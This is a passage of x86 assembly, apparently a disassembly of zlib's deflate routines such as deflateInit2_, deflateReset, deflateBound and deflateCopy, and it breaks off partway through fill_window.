jne .L0804B72C .L0804B6AB: movl $4, %edx movl 8(%ebp), %eax call gz_comp .L0804B6B8: incl %eax je .L0804B7E8 .L0804B6BF: movl 8(%ebp), %eax movl 28(%eax), %edx testl %edx, %edx je .L0804B6E5 .L0804B6C9: movl 44(%eax), %ebx testl %ebx, %ebx je .L0804B7F6 .L0804B6D4: subl $12, %esp movl 8(%ebp), %esi pushl 36(%esi) call free .L0804B6E2: addl $16, %esp .L0804B6E5: pushl %eax pushl $0 pushl $0 pushl 8(%ebp) call gz_error .L0804B6F2: popl %eax movl 8(%ebp), %ecx pushl 24(%ecx) call free .L0804B6FE: popl %eax movl 8(%ebp), %edi pushl 20(%edi) call close .L0804B70A: addl $16, %esp incl %eax je .L0804B7DC .L0804B714: subl $12, %esp pushl 8(%ebp) call free .L0804B71F: movl -20(%ebp), %eax .L0804B722: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804B72A: .p2align 2 .L0804B72C: movl %edx, %ecx addl $96, %ecx movl $0, 84(%edx) movl 4(%ecx), %edi testl %edi, %edi movl 76(%edx), %ebx movl 80(%edx), %esi movl %ecx, -28(%ebp) jne .L0804B816 .L0804B74C: movl $1, -24(%ebp) .p2align 2 .L0804B754: movl %esi, %edx orl %ebx, %edx je .L0804B6AB .L0804B75E: xorl %edi, %edi movl 8(%ebp), %ecx cmpl %esi, %edi movl 28(%ecx), %eax jl .L0804B770 .L0804B76A: jg .L0804B7B8 .L0804B76C: cmpl %ebx, %eax ja .L0804B7B8 .L0804B770: movl -24(%ebp), %edx movl 8(%ebp), %eax testl %edx, %edx movl 28(%eax), %edi jne .L0804B7C1 .L0804B77D: movl 8(%ebp), %edx movl 36(%edx), %eax movl -28(%ebp), %ecx movl %edi, -40(%ebp) movl %edi, 4(%ecx) movl %eax, (%ecx) movl 8(%ebp), %edi movl -40(%ebp), %eax movl $0, -36(%ebp) addl %eax, 8(%edi) movl -36(%ebp), %edx adcl %edx, 12(%edi) movl %edi, %eax xorl %edx, %edx call gz_comp .L0804B7AD: incl %eax je .L0804B827 .L0804B7B0: subl -40(%ebp), %ebx sbbl -36(%ebp), %esi jmp .L0804B754 .L0804B7B8: movl -24(%ebp), %edx testl %edx, %edx movl %ebx, %edi je .L0804B77D .L0804B7C1: pushl %eax pushl %edi pushl $0 movl 8(%ebp), %ecx pushl 36(%ecx) call memset .L0804B7D0: addl $16, %esp movl $0, -24(%ebp) jmp .L0804B77D .L0804B7DC: movl $-1, -20(%ebp) jmp .L0804B714 .L0804B7E8: movl 8(%ebp), %ecx movl 88(%ecx), %edi movl %edi, -20(%ebp) jmp .L0804B6BF .L0804B7F6: subl $12, %esp addl $96, %eax pushl %eax call deflateEnd .L0804B802: popl %eax movl 8(%ebp), %eax pushl 40(%eax) call free .L0804B80E: addl $16, %esp jmp .L0804B6D4 .L0804B816: xorl %edx, %edx movl 8(%ebp), %eax call gz_comp .L0804B820: incl %eax jne .L0804B74C .L0804B827: movl 8(%ebp), %esi movl 88(%esi), %ebx movl %ebx, -20(%ebp) jmp .L0804B6AB .size gzclose_w, .-gzclose_w # ---------------------- .L0804B835: .p2align 3 # ---------------------- .globl deflateEnd .type deflateEnd, @function deflateEnd: pushl %ebp movl %esp, %ebp pushl %esi pushl %ebx movl 8(%ebp), %ebx testl %ebx, %ebx je .L0804B8CC .L0804B848: movl 28(%ebx), %edx testl %edx, %edx je .L0804B8CC .L0804B84F: movl 4(%edx), %esi cmpl $42, %esi je .L0804B880 .L0804B857: cmpl $69, %esi je .L0804B880 .L0804B85C: cmpl $73, %esi je .L0804B880 .L0804B861: cmpl $91, %esi je .L0804B880 .L0804B866: cmpl $103, %esi je .L0804B880 .L0804B86B: cmpl $113, %esi je .L0804B880 .L0804B870: cmpl $666, %esi movl $-2, %eax jne .L0804B8D1 .L0804B87D: .p2align 3 .L0804B880: movl 8(%edx), %eax testl %eax, %eax jne .L0804B8D8 .L0804B887: movl 68(%edx), %eax testl %eax, %eax jne .L0804B8F0 .L0804B88E: movl 64(%edx), %eax testl %eax, %eax jne .L0804B908 .L0804B895: movl 56(%edx), %eax testl %eax, %eax jne .L0804B920 .L0804B8A0: subl $8, %esp pushl 28(%ebx) pushl 40(%ebx) call *36(%ebx) .L0804B8AC: addl $16, %esp xorl %eax, %eax cmpl $113, %esi movl $0, 28(%ebx) setne %al leal -8(%ebp), %esp popl %ebx leal -3(%eax,%eax,2), %eax popl %esi leave ret .L0804B8C9: .p2align 2 .L0804B8CC: movl $-2, %eax .L0804B8D1: leal -8(%ebp), %esp popl %ebx popl %esi leave ret .L0804B8D8: subl $8, %esp pushl %eax pushl 40(%ebx) call *36(%ebx) .L0804B8E2: movl 28(%ebx), %edx movl 68(%edx), %eax addl $16, %esp testl %eax, %eax je .L0804B88E .L0804B8EF: .p2align 3 .L0804B8F0: subl $8, %esp pushl %eax pushl 40(%ebx) call *36(%ebx) .L0804B8FA: movl 28(%ebx), %edx movl 64(%edx), %eax addl $16, %esp testl %eax, %eax je .L0804B895 .L0804B907: .p2align 3 .L0804B908: subl $8, %esp pushl %eax pushl 40(%ebx) call *36(%ebx) .L0804B912: movl 28(%ebx), %edx movl 56(%edx), %eax addl $16, %esp testl %eax, %eax je .L0804B8A0 .L0804B91F: .p2align 3 .L0804B920: subl $8, %esp pushl %eax pushl 40(%ebx) call *36(%ebx) .L0804B92A: addl $16, %esp jmp .L0804B8A0 .size deflateEnd, .-deflateEnd # ---------------------- .L0804B932: .p2align 2 # ---------------------- .globl deflateResetKeep .type deflateResetKeep, @function deflateResetKeep: pushl %ebp movl %esp, %ebp pushl %esi pushl %ebx movl 8(%ebp), %esi testl %esi, %esi je .L0804B9C4 .L0804B944: movl 28(%esi), %ebx testl %ebx, %ebx je .L0804B9C4 .L0804B94B: movl 32(%esi), %eax testl %eax, %eax je .L0804B9C4 .L0804B952: movl 36(%esi), %ecx testl %ecx, %ecx je .L0804B9C4 .L0804B959: movl $2, 44(%esi) movl 8(%ebx), %edx movl %edx, 16(%ebx) movl 24(%ebx), %edx testl %edx, %edx movl $0, 20(%esi) movl $0, 8(%esi) movl $0, 24(%esi) movl $0, 20(%ebx) js .L0804B9DE .L0804B989: cmpl $1, %edx sbbl %eax, %eax andl $71, %eax addl $42, %eax cmpl $2, %edx movl %eax, 4(%ebx) je .L0804B9D0 .L0804B99C: pushl %eax pushl $0 pushl $0 pushl $0 call adler32 .L0804B9A8: movl %eax, 48(%esi) movl $0, 40(%ebx) movl %ebx, (%esp) call _tr_init .L0804B9BA: leal -8(%ebp), %esp popl %ebx xorl %eax, %eax popl %esi leave ret .L0804B9C3: .p2align 2 .L0804B9C4: leal -8(%ebp), %esp popl %ebx movl $-2, %eax popl %esi leave ret .L0804B9D0: pushl %edx pushl $0 pushl $0 pushl $0 call crc32 .L0804B9DC: jmp .L0804B9A8 .L0804B9DE: negl %edx movl %edx, 24(%ebx) jmp .L0804B989 .size deflateResetKeep, .-deflateResetKeep # ---------------------- .L0804B9E5: .p2align 3 # ---------------------- .globl deflateReset .type deflateReset, @function deflateReset: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %esi testl %esi, %esi je .L0804BB38 .L0804B9FC: movl 28(%esi), %ebx testl %ebx, %ebx je .L0804BB38 .L0804BA07: movl 32(%esi), %eax testl %eax, %eax je .L0804BB38 .L0804BA12: movl 36(%esi), %edx testl %edx, %edx je .L0804BB38 .L0804BA1D: movl $2, 44(%esi) movl 24(%ebx), %edx movl 8(%ebx), %ecx testl %edx, %edx movl $0, 20(%esi) movl $0, 8(%esi) movl $0, 24(%esi) movl $0, 20(%ebx) movl %ecx, 16(%ebx) js .L0804BB58 .L0804BA51: cmpl $1, %edx sbbl %edi, %edi andl $71, %edi addl $42, %edi cmpl $2, %edx movl %edi, 4(%ebx) je .L0804BB47 .L0804BA68: pushl %eax pushl $0 pushl $0 pushl $0 call adler32 .L0804BA74: movl %eax, 48(%esi) movl $0, 40(%ebx) movl %ebx, (%esp) call _tr_init .L0804BA86: movl 28(%esi), %ebx movl 76(%ebx), %esi movl 44(%ebx), %eax movl 68(%ebx), %edx addl $12, %esp leal -2(%esi,%esi), %ecx sall $1, %eax movw $0, -2(%edx,%esi,2) movl %eax, 60(%ebx) pushl %ecx pushl $0 pushl %edx call memset .L0804BAAE: movl 132(%ebx), %eax leal (%eax,%eax,2), %eax sall $2, %eax movzwl configuration_table+2(%eax), %esi movl %esi, 128(%ebx) movzwl configuration_table(%eax), %ecx movzwl configuration_table+6(%eax), %esi movzwl configuration_table+4(%eax), %edx movl %ecx, 140(%ebx) movl %edx, 144(%ebx) movl %esi, 124(%ebx) movl $0, 108(%ebx) movl $0, 92(%ebx) movl $0, 116(%ebx) movl $0, 5812(%ebx) movl $2, 120(%ebx) movl $2, 96(%ebx) movl $0, 104(%ebx) movl $0, 72(%ebx) addl $16, %esp leal -12(%ebp), %esp popl %ebx xorl %edi, %edi popl %esi movl %edi, %eax popl %edi leave ret .L0804BB35: .p2align 3 .L0804BB38: leal -12(%ebp), %esp popl %ebx movl $-2, %edi popl %esi movl %edi, %eax popl %edi leave ret .L0804BB47: pushl %eax pushl $0 pushl $0 pushl $0 call crc32 .L0804BB53: jmp .L0804BA74 .L0804BB58: negl %edx movl %edx, 24(%ebx) jmp .L0804BA51 .size deflateReset, .-deflateReset # ---------------------- .L0804BB62: .p2align 2 # ---------------------- .globl deflateInit2_ .type deflateInit2_, @function deflateInit2_: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 32(%ebp), %eax testl %eax, %eax movl 8(%ebp), %edi movl 12(%ebp), %esi movl $1, %ebx je .L0804BB84 .L0804BB7F: cmpb $49, (%eax) je .L0804BB94 .L0804BB84: movl $-6, %eax .L0804BB89: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804BB91: .p2align 2 .L0804BB94: cmpl $56, 36(%ebp) jne .L0804BB84 .L0804BB9A: testl %edi, %edi movl $-2, %eax je .L0804BB89 .L0804BBA3: movl 32(%edi), %eax testl %eax, %eax movl $0, 24(%edi) je .L0804BBF8 .L0804BBB1: movl 36(%edi), %edx testl %edx, %edx jne .L0804BBBF .L0804BBB8: movl $zcfree, 36(%edi) .L0804BBBF: cmpl $-1, %esi je .L0804BED0 .L0804BBC8: movl 20(%ebp), %ecx testl %ecx, %ecx js .L0804BEDA .L0804BBD3: cmpl $15, 20(%ebp) jle .L0804BBE2 .L0804BBD9: movl $2, %ebx subl $16, 20(%ebp) .L0804BBE2: movl 24(%ebp), %eax decl %eax cmpl $8, %eax ja .L0804BBF1 .L0804BBEB: cmpl $8, 16(%ebp) je .L0804BC08 .L0804BBF1: movl $-2, %eax jmp .L0804BB89 .L0804BBF8: movl $zcalloc, 32(%edi) movl $0, 40(%edi) jmp .L0804BBB1 .L0804BC08: cmpl $7, 20(%ebp) jle .L0804BBF1 .L0804BC0E: cmpl $15, 20(%ebp) jg .L0804BBF1 .L0804BC14: testl %esi, %esi js .L0804BBF1 .L0804BC18: cmpl $9, %esi jg .L0804BBF1 .L0804BC1D: movl 28(%ebp), %edx testl %edx, %edx js .L0804BBF1 .L0804BC24: cmpl $4, 28(%ebp) jg .L0804BBF1 .L0804BC2A: cmpl $8, 20(%ebp) jne .L0804BC37 .L0804BC30: movl $9, 20(%ebp) .L0804BC37: pushl %ecx pushl $5828 pushl $1 pushl 40(%edi) call *32(%edi) .L0804BC45: movl %eax, -16(%ebp) movl -16(%ebp), %ecx addl $16, %esp testl %ecx, %ecx movl $-4, %eax je .L0804BB89 .L0804BC5B: movl -16(%ebp), %eax movl %ebx, 24(%eax) movl 20(%ebp), %ebx movl %ebx, 48(%eax) movl $1, %ebx movb 20(%ebp), %cl movl %eax, 28(%edi) movl %edi, (%eax) movl $0, 28(%eax) movl %ebx, %eax movl -16(%ebp), %edx sall %cl, %eax movl %eax, 44(%edx) movl 24(%ebp), %ecx decl %eax movl %eax, 52(%edx) addl $7, %ecx movl %ebx, %eax sall %cl, %eax movl %ecx, 80(%edx) movl %eax, %ecx decl %ecx movl %eax, 76(%edx) movl %ecx, 84(%edx) movl 24(%ebp), %edx addl $9, %edx movl $-1431655765, %eax mull %edx movl %edx, %eax shrl $1, %eax movl -16(%ebp), %ecx movl %eax, 88(%ecx) pushl %eax pushl $2 pushl 44(%ecx) pushl 40(%edi) call *32(%edi) .L0804BCC2: addl $12, %esp movl -16(%ebp), %edx movl %eax, 56(%edx) pushl $2 pushl 44(%edx) pushl 40(%edi) call *32(%edi) .L0804BCD6: addl $12, %esp movl -16(%ebp), %ecx movl %eax, 64(%ecx) pushl $2 pushl 76(%ecx) pushl 40(%edi) call *32(%edi) .L0804BCEA: movl 24(%ebp), %ecx addl $6, %ecx addl $12, %esp movl -16(%ebp), %edx sall %cl, %ebx movl -16(%ebp), %ecx movl %ebx, 5788(%ecx) movl %eax, 68(%edx) movl $0, 5824(%edx) pushl $4 pushl 5788(%ecx) pushl 40(%edi) call *32(%edi) .L0804BD1C: movl -16(%ebp), %edx movl %edx, %ebx movl %eax, 8(%edx) movl 5788(%edx), %edx movl %eax, %ecx leal 0(,%edx,4), %eax movl %eax, 12(%ebx) movl 56(%ebx), %eax addl $16, %esp testl %eax, %eax je .L0804BEE4 .L0804BD44: movl 64(%ebx), %eax testl %eax, %eax je .L0804BEE4 .L0804BD4F: movl 68(%ebx), %eax testl %eax, %eax je .L0804BEE4 .L0804BD5A: testl %ecx, %ecx je .L0804BEE4 .L0804BD62: movl %edx, %eax andl $-2, %eax movl -16(%ebp), %ebx addl %ecx, %eax movl %eax, 5796(%ebx) leal (%edx,%edx,2), %eax leal (%ecx,%eax), %eax testl %edi, %edi movl 28(%ebp), %ecx movl %eax, 5784(%ebx) movl %esi, 132(%ebx) movl %ecx, 136(%ebx) movb $8, 36(%ebx) je .L0804BFAD .L0804BD99: movl 28(%edi), %ebx testl %ebx, %ebx je .L0804BFAD .L0804BDA4: movl 32(%edi), %esi testl %esi, %esi je .L0804BFAD .L0804BDAF: movl 36(%edi), %edx testl %edx, %edx je .L0804BFAD .L0804BDBA: movl $2, 44(%edi) movl 24(%ebx), %edx movl 8(%ebx), %ecx testl %edx, %edx movl $0, 20(%edi) movl $0, 8(%edi) movl $0, 24(%edi) movl $0, 20(%ebx) movl %ecx, 16(%ebx) jns .L0804BDEF .L0804BDEA: negl %edx movl %edx, 24(%ebx) .L0804BDEF: cmpl $1, %edx sbbl %eax, %eax andl $71, %eax addl $42, %eax cmpl $2, %edx movl %eax, 4(%ebx) je .L0804BFB9 .L0804BE06: pushl %eax pushl $0 pushl $0 pushl $0 call adler32 .L0804BE12: movl %eax, 48(%edi) movl $0, 40(%ebx) movl %ebx, (%esp) call _tr_init .L0804BE24: movl 28(%edi), %ebx movl 76(%ebx), %edx movl 44(%ebx), %eax movl 68(%ebx), %ecx addl $12, %esp leal -2(%edx,%edx), %edi sall $1, %eax movw $0, -2(%ecx,%edx,2) movl %eax, 60(%ebx) pushl %edi pushl $0 pushl %ecx call memset .L0804BE4C: movl 132(%ebx), %eax leal (%eax,%eax,2), %ecx sall $2, %ecx movzwl configuration_table+2(%ecx), %edx movzwl configuration_table(%ecx), %edi xorl %esi, %esi movl %edx, 128(%ebx) movl %edi, 140(%ebx) movzwl configuration_table+4(%ecx), %edx movzwl configuration_table+6(%ecx), %edi addl $16, %esp movl %esi, %eax movl %edx, 144(%ebx) movl %edi, 124(%ebx) movl $0, 108(%ebx) movl $0, 92(%ebx) movl $0, 116(%ebx) movl $0, 5812(%ebx) movl $2, 120(%ebx) movl $2, 96(%ebx) movl $0, 104(%ebx) movl $0, 72(%ebx) jmp .L0804BB89 .L0804BED0: movl $6, %esi jmp .L0804BBC8 .L0804BEDA: xorl %ebx, %ebx negl 20(%ebp) jmp .L0804BBE2 .L0804BEE4: movl -16(%ebp), %edx movl z_errmsg+24, %esi testl %edi, %edi movl $666, 4(%edx) movl %esi, 24(%edi) je .L0804BF2A .L0804BEFB: movl 28(%edi), %edx testl %edx, %edx je .L0804BF2A .L0804BF02: movl 4(%edx), %eax cmpl $42, %eax je .L0804BF34 .L0804BF0A: cmpl $69, %eax je .L0804BF34 .L0804BF0F: cmpl $73, %eax je .L0804BF34 .L0804BF14: cmpl $91, %eax je .L0804BF34 .L0804BF19: cmpl $103, %eax je .L0804BF34 .L0804BF1E: cmpl $113, %eax je .L0804BF34 .L0804BF23: cmpl $666, %eax je .L0804BF34 .L0804BF2A: movl $-4, %eax jmp .L0804BB89 .L0804BF34: movl 8(%edx), %eax testl %eax, %eax je .L0804BF4B .L0804BF3B: subl $8, %esp pushl %eax pushl 40(%edi) call *36(%edi) .L0804BF45: addl $16, %esp movl 28(%edi), %edx .L0804BF4B: movl 68(%edx), %eax testl %eax, %eax je .L0804BF62 .L0804BF52: subl $8, %esp pushl %eax pushl 40(%edi) call *36(%edi) .L0804BF5C: addl $16, %esp movl 28(%edi), %edx .L0804BF62: movl 64(%edx), %eax testl %eax, %eax je .L0804BF79 .L0804BF69: subl $8, %esp pushl %eax pushl 40(%edi) call *36(%edi) .L0804BF73: addl $16, %esp movl 28(%edi), %edx .L0804BF79: movl 56(%edx), %eax testl %eax, %eax je .L0804BF8D .L0804BF80: subl $8, %esp pushl %eax pushl 40(%edi) call *36(%edi) .L0804BF8A: addl $16, %esp .L0804BF8D: subl $8, %esp pushl 28(%edi) pushl 40(%edi) call *36(%edi) .L0804BF99: addl $16, %esp movl $-4, %eax movl $0, 28(%edi) jmp .L0804BB89 .L0804BFAD: movl $-2, %esi movl %esi, %eax jmp .L0804BB89 .L0804BFB9: pushl %edx pushl $0 pushl $0 pushl $0 call crc32 .L0804BFC5: jmp .L0804BE12 .size deflateInit2_, .-deflateInit2_ # ---------------------- .L0804BFCA: .p2align 2 # ---------------------- .globl deflateInit_ .type deflateInit_, @function deflateInit_: pushl %ebp movl %esp, %ebp subl $8, %esp pushl 20(%ebp) pushl 16(%ebp) pushl $0 pushl $8 pushl $15 pushl $8 pushl 12(%ebp) pushl 8(%ebp) call deflateInit2_ .L0804BFEB: leave ret .size deflateInit_, .-deflateInit_ # ---------------------- .L0804BFED: .p2align 3 # ---------------------- .globl deflateSetHeader .type deflateSetHeader, @function deflateSetHeader: pushl %ebp movl %esp, %ebp movl 8(%ebp), %eax testl %eax, %eax je .L0804C018 .L0804BFFA: movl 28(%eax), %edx testl %edx, %edx je .L0804C018 .L0804C001: cmpl $2, 24(%edx) movl $-2, %eax jne .L0804C014 .L0804C00C: movl 12(%ebp), %eax movl %eax, 28(%edx) xorl %eax, %eax .L0804C014: leave ret .L0804C016: .p2align 3 .L0804C018: movl $-2, %eax leave ret .size deflateSetHeader, .-deflateSetHeader # ---------------------- .L0804C01F: .p2align 3 # ---------------------- .globl deflatePending .type deflatePending, @function deflatePending: pushl %ebp movl %esp, %ebp pushl %ebx movl 8(%ebp), %eax testl %eax, %eax movl 12(%ebp), %ecx movl 16(%ebp), %ebx je .L0804C054 .L0804C031: movl 28(%eax), %edx testl %edx, %edx je .L0804C054 .L0804C038: testl %ecx, %ecx je .L0804C041 .L0804C03C: movl 20(%edx), %eax movl %eax, (%ecx) .L0804C041: testl %ebx, %ebx je .L0804C04D .L0804C045: movl 5820(%edx), %ecx movl %ecx, (%ebx) .L0804C04D: xorl %eax, %eax popl %ebx leave ret .L0804C052: .p2align 2 .L0804C054: movl $-2, %eax popl %ebx leave ret .size deflatePending, .-deflatePending # ---------------------- .globl deflatePrime .type deflatePrime, @function deflatePrime: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %eax testl %eax, %eax movl 12(%ebp), %edi je .L0804C0E4 .L0804C06F: movl 28(%eax), %esi testl %esi, %esi je .L0804C0E4 .L0804C076: movl 16(%esi), %eax addl $2, %eax cmpl %eax, 5796(%esi) movl $-5, %edx jb .L0804C0E9 .L0804C089: .p2align 2 .L0804C08C: movl 5820(%esi), %edx movl $16, %ebx subl %edx, %ebx cmpl %edi, %ebx jle .L0804C09F .L0804C09D: movl %edi, %ebx .L0804C09F: movb %bl, %cl movl $1, %eax sall %cl, %eax decl %eax andl 16(%ebp), %eax movb %dl, %cl sall %cl, %eax orw %ax, 5816(%esi) subl $12, %esp leal (%edx,%ebx), %eax movl %eax, 5820(%esi) pushl %esi call _tr_flush_bits .L0804C0C9: movb %bl, %cl sarl %cl, 16(%ebp) addl $16, %esp subl %ebx, %edi jne .L0804C08C .L0804C0D5: leal -12(%ebp), %esp popl %ebx popl %esi xorl %edx, %edx movl %edx, %eax popl %edi leave ret .L0804C0E1: .p2align 2 .L0804C0E4: movl $-2, %edx .L0804C0E9: leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .size deflatePrime, .-deflatePrime # ---------------------- .L0804C0F3: .p2align 2 # ---------------------- .globl deflateTune .type deflateTune, @function deflateTune: pushl %ebp movl %esp, %ebp movl 8(%ebp), %eax testl %eax, %eax je .L0804C105 .L0804C0FE: movl 28(%eax), %edx testl %edx, %edx jne .L0804C10C .L0804C105: movl $-2, %eax leave ret .L0804C10C: movl 12(%ebp), %ecx movl 16(%ebp), %eax movl %ecx, 140(%edx) movl %eax, 128(%edx) movl 20(%ebp), %ecx movl 24(%ebp), %eax movl %eax, 124(%edx) movl %ecx, 144(%edx) xorl %eax, %eax leave ret .size deflateTune, .-deflateTune # ---------------------- .L0804C131: .p2align 2 # ---------------------- .globl deflateBound .type deflateBound, @function deflateBound: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx pushl %ecx movl 12(%ebp), %ecx leal 7(%ecx), %edx shrl $3, %edx leal 63(%ecx), %eax addl %ecx, %edx shrl $6, %eax movl 8(%ebp), %ebx leal (%edx,%eax), %eax testl %ebx, %ebx leal 5(%eax), %edi je .L0804C18C .L0804C159: movl 28(%ebx), %ebx testl %ebx, %ebx je .L0804C18C .L0804C160: movl 24(%ebx), %eax cmpl $1, %eax je .L0804C210 .L0804C16C: jle .L0804C223 .L0804C172: cmpl $2, %eax je .L0804C1B5 .L0804C177: movl $6, %esi .L0804C17C: cmpl $15, 48(%ebx) je .L0804C198 .L0804C182: popl %edx popl %ebx leal (%edi,%esi), %eax popl %esi popl %edi leave ret .L0804C18B: .p2align 2 .L0804C18C: addl $11, %eax .L0804C18F: popl %edx popl %ebx popl %esi popl %edi leave ret .L0804C195: .p2align 3 .L0804C198: cmpl $15, 80(%ebx) jne .L0804C182 .L0804C19E: movl %ecx, %ebx shrl $12, %ebx addl %ecx, %ebx shrl $14, %ecx addl %ecx, %ebx shrl $11, %ecx addl %ecx, %ebx leal 7(%ebx,%esi), %eax jmp .L0804C18F .L0804C1B5: movl 28(%ebx), %eax testl %eax, %eax movl $18, %esi movl %eax, -16(%ebp) je .L0804C17C .L0804C1C4: movl 16(%eax), %edx testl %edx, %edx je .L0804C1D1 .L0804C1CB: movl 20(%eax), %esi addl $20, %esi .L0804C1D1: movl -16(%ebp), %eax movl 28(%eax), %edx testl %edx, %edx jmp .L0804C1E2 .L0804C1DB: .p2align 2 .L0804C1DC: movb (%edx), %al incl %esi incl %edx testb %al, %al .L0804C1E2: jne .L0804C1DC .L0804C1E4: movl -16(%ebp), %eax movl 36(%eax), %edx testl %edx, %edx jmp .L0804C1F6 .L0804C1EE: .p2align 3 .L0804C1F0: movb (%edx), %al incl %esi incl %edx testb %al, %al .L0804C1F6: jne .L0804C1F0 .L0804C1F8: movl -16(%ebp), %eax movl 44(%eax), %edx testl %edx, %edx je .L0804C17C .L0804C206: addl $2, %esi jmp .L0804C17C .L0804C20E: .p2align 3 .L0804C210: movl 108(%ebx), %esi cmpl $1, %esi sbbl %eax, %eax andl $-4, %eax leal 10(%eax), %esi jmp .L0804C17C .L0804C223: xorl %esi, %esi testl %eax, %eax je .L0804C17C .L0804C22D: jmp .L0804C177 .size deflateBound, .-deflateBound # ---------------------- .L0804C232: .p2align 2 # ---------------------- .globl deflateCopy .type deflateCopy, @function deflateCopy: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 12(%ebp), %esi testl %esi, %esi movl 8(%ebp), %ebx je .L0804C255 .L0804C247: testl %ebx, %ebx je .L0804C255 .L0804C24B: movl 28(%esi), %eax testl %eax, %eax movl %eax, -16(%ebp) jne .L0804C264 .L0804C255: movl $-2, %eax .L0804C25A: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804C262: .p2align 2 .L0804C264: cld movl $14, %ecx movl %ebx, %edi rep movsl pushl %eax pushl $5828 pushl $1 pushl 40(%ebx) call *32(%ebx) .L0804C27C: movl %eax, %esi addl $16, %esp testl %esi, %esi movl $-4, %eax je .L0804C25A .L0804C28A: movl %esi, 28(%ebx) pushl %eax pushl $5828 pushl -16(%ebp) pushl %esi call memcpy .L0804C29C: addl $12, %esp movl %ebx, (%esi) pushl $2 pushl 44(%esi) pushl 40(%ebx) call *32(%ebx) .L0804C2AC: addl $12, %esp movl %eax, 56(%esi) pushl $2 pushl 44(%esi) pushl 40(%ebx) call *32(%ebx) .L0804C2BD: addl $12, %esp movl %eax, 64(%esi) pushl $2 pushl 76(%esi) pushl 40(%ebx) call *32(%ebx) .L0804C2CE: addl $12, %esp movl %eax, 68(%esi) pushl $4 pushl 5788(%esi) pushl 40(%ebx) call *32(%ebx) .L0804C2E2: movl 56(%esi), %edx addl $16, %esp testl %edx, %edx movl %eax, %edi movl %eax, 8(%esi) je .L0804C2F8 .L0804C2F1: movl 64(%esi), %eax testl %eax, %eax jne .L0804C358 .L0804C2F8: testl %ebx, %ebx je .L0804C348 .L0804C2FC: movl 28(%ebx), %eax testl %eax, %eax je .L0804C348 .L0804C303: movl 4(%eax), %edx cmpl $42, %edx je .L0804C413 .L0804C30F: cmpl $69, %edx je .L0804C413 .L0804C318: cmpl $73, %edx je .L0804C413 .L0804C321: cmpl $91, %edx je .L0804C413 .L0804C32A: cmpl $103, %edx je .L0804C413 .L0804C333: cmpl $113, %edx je .L0804C413 .L0804C33C: cmpl $666, %edx je .L0804C413 .L0804C348: movl $-4, %eax .L0804C34D: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804C355: .p2align 3 .L0804C358: movl 68(%esi), %ecx testl %ecx, %ecx je .L0804C2F8 .L0804C35F: testl %edi, %edi je .L0804C2F8 .L0804C363: movl 44(%esi), %ecx sall $1, %ecx pushl %ebx pushl %ecx movl -16(%ebp), %eax pushl 56(%eax) pushl %edx call memcpy .L0804C376: movl 44(%esi), %edx addl $12, %esp sall $1, %edx pushl %edx movl -16(%ebp), %ecx pushl 64(%ecx) pushl 64(%esi) call memcpy .L0804C38D: movl 76(%esi), %ebx addl $12, %esp sall $1, %ebx pushl %ebx movl -16(%ebp), %eax pushl 68(%eax) pushl 68(%esi) call memcpy .L0804C3A4: addl $12, %esp pushl 12(%esi) movl -16(%ebp), %edx pushl 8(%edx) pushl 8(%esi) call memcpy .L0804C3B8: movl -16(%ebp), %ecx movl 16(%ecx), %ebx subl 8(%ecx), %ebx movl 5788(%esi), %edx movl 8(%esi), %ecx leal (%ecx,%ebx), %eax movl %edx, %ebx andl $-2, %ebx addl %edi, %ebx movl %eax, 16(%esi) leal (%edx,%edx,2), %eax addl %eax, %ecx movl %ebx, 5796(%esi) leal 148(%esi), %edi leal 2440(%esi), %ebx leal 2684(%esi), %edx xorl %eax, %eax movl %ecx, 5784(%esi) movl %edi, 2840(%esi) movl %ebx, 2852(%esi) movl %edx, 2864(%esi) jmp .L0804C25A .L0804C413: movl 8(%eax), %edx testl %edx, %edx jne .L0804C482 .L0804C41A: movl 68(%eax), %edx testl %edx, %edx jne .L0804C470 .L0804C421: movl 64(%eax), %edx testl %edx, %edx jne .L0804C45E .L0804C428: movl 56(%eax), %eax testl %eax, %eax jne .L0804C44F .L0804C42F: subl $8, %esp pushl 28(%ebx) pushl 40(%ebx) call *36(%ebx) .L0804C43B: addl $16, %esp movl $-4, %eax movl $0, 28(%ebx) jmp .L0804C34D .L0804C44F: subl $8, %esp pushl %eax pushl 40(%ebx) call *36(%ebx) .L0804C459: addl $16, %esp jmp .L0804C42F .L0804C45E: subl $8, %esp pushl %edx pushl 40(%ebx) call *36(%ebx) .L0804C468: addl $16, %esp movl 28(%ebx), %eax jmp .L0804C428 .L0804C470: subl $8, %esp pushl %edx pushl 40(%ebx) call *36(%ebx) .L0804C47A: addl $16, %esp movl 28(%ebx), %eax jmp .L0804C421 .L0804C482: subl $8, %esp pushl %edx pushl 40(%ebx) call *36(%ebx) .L0804C48C: addl $16, %esp movl 28(%ebx), %eax jmp .L0804C41A .size deflateCopy, .-deflateCopy # ---------------------- .local fill_window .type fill_window, @function fill_window: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $60, %esp movl %eax, %esi movl 116(%esi), %edx movl %edx, -44(%ebp) movl 60(%esi), %ecx movl -44(%ebp), %ebx movl 44(%eax), %eax subl %ebx, %ecx movl 108(%esi), %edi subl %edi, %ecx movl %eax, -20(%ebp) movl %ecx, -16(%ebp) movl -20(%ebp), %ecx leal -262(%eax,%ecx), %eax cmpl %eax, %edi jae .L0804C5FB .L0804C4CD: .p2align 3 .L0804C4D0: movl (%esi), %eax movl 4(%eax), %edx testl %edx, %edx movl %eax, -24(%ebp) je .L0804C67B .L0804C4E0: addl 56(%esi), %edi movl 116(%esi), %eax addl %eax, %edi cmpl -16(%ebp), %edx movl %edx, %ebx jbe .L0804C4F2 .L0804C4EF: movl -16(%ebp), %ebx .L0804C4F2: xorl %ecx, %ecx testl %ebx, %ebx jne .L0804C6C8 .L0804C4FC: addl %ecx, %eax 